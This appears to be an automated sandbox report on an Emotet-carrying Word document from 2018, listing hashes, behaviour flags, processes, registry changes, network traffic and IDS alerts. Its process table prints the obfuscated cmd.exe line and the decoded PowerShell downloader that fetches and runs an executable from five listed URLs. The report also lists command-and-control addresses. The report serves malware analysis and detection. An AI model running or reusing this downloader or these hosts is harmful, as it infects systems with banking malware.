| File name: | EIN_ACH_9529922.doc |
| Full analysis: | https://app.any.run/tasks/ee592b77-6da7-41da-8e73-e91808f72ab7 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | December 18, 2018, 14:09:47 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 18 13:15:00 2018, Last Saved Time/Date: Tue Dec 18 13:15:00 2018, Number of Pages: 1, Number of Words: 5, Number of Characters: 35, Security: 0 |
| MD5: | A15C91AF8D067F6715A8223799C78AAC |
| SHA1: | 909BB947A0999BA3F28BCC0DD4D9988488724E8C |
| SHA256: | E153745D890F53F1BD285EDF3A11DEEB2CB6EC6A97A9C212309B21294995ED74 |
| SSDEEP: | 1536:nT81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadaqCiswe3+a9:nT8GhDS0o9zTGOZD6EbzCdqis |
MALICIOUS
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2724)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2724)
Executes PowerShell scripts
- cmd.exe (PID: 2752)
Application was dropped or rewritten from another process
- 134.exe (PID: 3980)
- 134.exe (PID: 3172)
- archivesymbol.exe (PID: 2628)
- archivesymbol.exe (PID: 3396)
Downloads executable files from the Internet
- powershell.exe (PID: 2708)
EMOTET was detected
- archivesymbol.exe (PID: 3396)
Connects to CnC server
- archivesymbol.exe (PID: 3396)
Changes the autorun value in the registry
- archivesymbol.exe (PID: 3396)
SUSPICIOUS
Starts CMD.EXE for commands execution
- cmd.exe (PID: 1520)
Executable content was dropped or overwritten
- powershell.exe (PID: 2708)
- 134.exe (PID: 3172)
Application launched itself
- 134.exe (PID: 3980)
Creates files in the user directory
- powershell.exe (PID: 2708)
Starts itself from another location
- 134.exe (PID: 3172)
Connects to unusual port
- archivesymbol.exe (PID: 3396)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2724)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2724)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | - |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2018:12:18 13:15:00 |
| ModifyDate: | 2018:12:18 13:15:00 |
| Pages: | 1 |
| Words: | 5 |
| Characters: | 35 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 39 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
39
Monitored processes
8
Malicious processes
7
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1520 | c:\ThWspUnzCiz\izqJsYzFSN\uqrqrBRZcbCC\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set 3Uqu=;'NFd'=VRh$}}{hctac}};kaerb;'HIw'=ZYA$;CdJ$ metI-ekovnI{ )00008 eg- htgnel.)CdJ$ metI-teG(( fI;'Xbw'=OfC$;)CdJ$ ,pVf$(eliFdaolnwoD.APz${yrt{)vdw$ ni pVf$(hcaerof;'exe.'+QvL$+'\'+pmet:vne$=CdJ$;'PIF'=DOJ$;'431' = QvL$;'Wvw'=bJE$;)'@'(tilpS.'nC/ku.oc.nosdrahcirnagrom.www//:ptth@GKHabg_iybyVx3h/li.gro.seulb.www//:ptth@2fp0_62Fgq5/ue.senuajsoedivsel.txen.www//:ptth@Rwaf_KBWz/moc.ahnagebas.www//:ptth@Km1ANQiB_YcNEUo2/moc.kcolfatner.www//:ptth'=vdw$;tneilCbeW.teN tcejbo-wen=APz$;'aob'=vXM$ llehsrewop&&for /L %c in (498;-1;0)do set g7eD=!g7eD!!3Uqu:~%c,1!&&if %c==0 call %g7eD:~-499%" | c:\windows\system32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2628 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | — | 134.exe | |||||||||||
User: admin Company: LEAD Technologies, Inc. Integrity Level: MEDIUM Description: LEADTOOLS® DLL for Win32 Exit code: 0 Version: 8.00.0.010 Modules
| |||||||||||||||
| 2708 | powershell $MXv='boa';$zPA=new-object Net.WebClient;$wdv='http://www.rentaflock.com/2oUENcY_BiQNA1mK@http://www.sabeganha.com/zWBK_fawR@http://www.next.lesvideosjaunes.eu/5qgF26_0pf2@http://www.blues.org.il/h3xVybyi_gbaHKG@http://www.morganrichardson.co.uk/Cn'.Split('@');$EJb='wvW';$LvQ = '134';$JOD='FIP';$JdC=$env:temp+'\'+$LvQ+'.exe';foreach($fVp in $wdv){try{$zPA.DownloadFile($fVp, $JdC);$CfO='wbX';If ((Get-Item $JdC).length -ge 80000) {Invoke-Item $JdC;$AYZ='wIH';break;}}catch{}}$hRV='dFN'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2724 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\EIN_ACH_9529922.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2752 | CmD /V:O/C"set 3Uqu=;'NFd'=VRh$}}{hctac}};kaerb;'HIw'=ZYA$;CdJ$ metI-ekovnI{ )00008 eg- htgnel.)CdJ$ metI-teG(( fI;'Xbw'=OfC$;)CdJ$ ,pVf$(eliFdaolnwoD.APz${yrt{)vdw$ ni pVf$(hcaerof;'exe.'+QvL$+'\'+pmet:vne$=CdJ$;'PIF'=DOJ$;'431' = QvL$;'Wvw'=bJE$;)'@'(tilpS.'nC/ku.oc.nosdrahcirnagrom.www//:ptth@GKHabg_iybyVx3h/li.gro.seulb.www//:ptth@2fp0_62Fgq5/ue.senuajsoedivsel.txen.www//:ptth@Rwaf_KBWz/moc.ahnagebas.www//:ptth@Km1ANQiB_YcNEUo2/moc.kcolfatner.www//:ptth'=vdw$;tneilCbeW.teN tcejbo-wen=APz$;'aob'=vXM$ llehsrewop&&for /L %c in (498;-1;0)do set g7eD=!g7eD!!3Uqu:~%c,1!&&if %c==0 call %g7eD:~-499%" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3172 | "C:\Users\admin\AppData\Local\Temp\134.exe" | C:\Users\admin\AppData\Local\Temp\134.exe | 134.exe | ||||||||||||
User: admin Company: LEAD Technologies, Inc. Integrity Level: MEDIUM Description: LEADTOOLS® DLL for Win32 Exit code: 0 Version: 8.00.0.010 Modules
| |||||||||||||||
| 3396 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | archivesymbol.exe | ||||||||||||
User: admin Company: LEAD Technologies, Inc. Integrity Level: MEDIUM Description: LEADTOOLS® DLL for Win32 Exit code: 0 Version: 8.00.0.010 Modules
| |||||||||||||||
| 3980 | "C:\Users\admin\AppData\Local\Temp\134.exe" | C:\Users\admin\AppData\Local\Temp\134.exe | — | powershell.exe | |||||||||||
User: admin Company: LEAD Technologies, Inc. Integrity Level: MEDIUM Description: LEADTOOLS® DLL for Win32 Exit code: 0 Version: 8.00.0.010 Modules
| |||||||||||||||
Total events
1 864
Read events
1 377
Write events
482
Delete events
5
Modification events
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | '"/ |
Value: 27222F00A40A0000010000000000000000000000 | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1301413909 | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1301414028 | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1301414029 | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: A40A00000C90C95BDB96D40100000000 | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 1#/ |
Value: 31232F00A40A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | 1#/ |
Value: 31232F00A40A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR5A17.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6E06F780.wmf | — | |
MD5:— | SHA256:— | |||
| 2724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C7A4C98E.wmf | — | |
MD5:— | SHA256:— | |||
| 2708 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SXLZDEA3B2MKGP80Q7GD.temp | — | |
MD5:— | SHA256:— | |||
| 2724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 2724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$N_ACH_9529922.doc | pgc | |
MD5:— | SHA256:— | |||
| 2724 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2708 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3172 | 134.exe | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | executable | |
MD5:— | SHA256:— | |||
| 2708 | powershell.exe | C:\Users\admin\AppData\Local\Temp\134.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
3
Threats
11
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3396 | archivesymbol.exe | GET | — | 217.173.64.242:443 | http://217.173.64.242:443/ | RU | — | — | suspicious |
3396 | archivesymbol.exe | GET | — | 61.1.33.229:80 | http://61.1.33.229/ | IN | — | — | malicious |
3396 | archivesymbol.exe | GET | 200 | 138.37.47.17:22 | http://138.37.47.17:22/ | GB | binary | 132 b | malicious |
2708 | powershell.exe | GET | 301 | 192.185.199.10:80 | http://www.rentaflock.com/2oUENcY_BiQNA1mK | US | html | 319 b | suspicious |
2708 | powershell.exe | GET | 200 | 192.185.199.10:80 | http://www.rentaflock.com/2oUENcY_BiQNA1mK/ | US | executable | 124 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2708 | powershell.exe | 192.185.199.10:80 | www.rentaflock.com | CyrusOne LLC | US | suspicious |
3396 | archivesymbol.exe | 217.173.64.242:443 | — | OOO WestCall Ltd. | RU | suspicious |
3396 | archivesymbol.exe | 181.48.61.138:20 | — | Telmex Colombia S.A. | CO | malicious |
3396 | archivesymbol.exe | 61.1.33.229:80 | — | National Internet Backbone | IN | malicious |
3396 | archivesymbol.exe | 138.37.47.17:22 | — | Queen Mary and Westfield College, University of London | GB | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.rentaflock.com |
| suspicious |
dns.msftncsi.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2708 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2708 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2708 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3396 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
3396 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
3396 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
3396 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
3396 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
3396 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
2 ETPRO signatures available at the full report